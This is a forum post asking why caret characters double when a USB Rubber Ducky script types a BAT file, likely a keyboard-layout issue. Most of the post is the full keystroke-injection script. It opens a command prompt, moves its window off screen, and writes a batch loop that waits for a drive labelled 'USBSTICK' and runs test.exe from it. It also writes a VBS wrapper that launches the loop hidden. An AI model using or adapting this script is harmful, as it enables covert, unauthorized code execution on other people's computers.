So I'm writing into a BAT file in order to achieve file execution.
This is one line in that BAT file:
for /f %%d in ('wmic volume get driveletter^, label ^| findstr "USBSTICK"') do set ddrv=%%d
However, all the ^ are replaced with ^^. So in the end, the code is invalid. Also, even when writing in the forums right now in my browser, I still enter ^^ when pressing circumflex once.
What happened?
This is my ducky code:
DEFAULT_DELAY 50
DELAY 2000
GUI r
DELAY 750
STRING cmd /Q /D /T:78 /F:OFF /V:ON /K
DELAY 500
ENTER
DELAY 750
ALT SPACE
DOWNARROW
ENTER
DOWNARROW
REPEAT 100
ENTER
STRING cd %TEMP%
ENTER
STRING erase /Q test1.bat
ENTER
STRING copy con test1.bat
ENTER
STRING :while1
ENTER
STRING for /f %%d in ('wmic volume get driveletter^, label ^| findstr "USBSTICK"') do set ddrv=%%d
ENTER
STRING if Exist %ddrv% (
ENTER
STRING goto :break
ENTER
STRING )
ENTER
STRING timeout /t 15
ENTER
STRING goto :while1
ENTER
STRING :break
ENTER
STRING START %ddrv%\test.exe
ENTER
CONTROL z
ENTER
STRING erase /Q test1.vbs
ENTER
STRING copy con test1.vbs
ENTER
STRING CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, False
ENTER
CONTROL z
ENTER
STRING wscript.exe test1.vbs test1.bat
ENTER
STRING exit
ENTER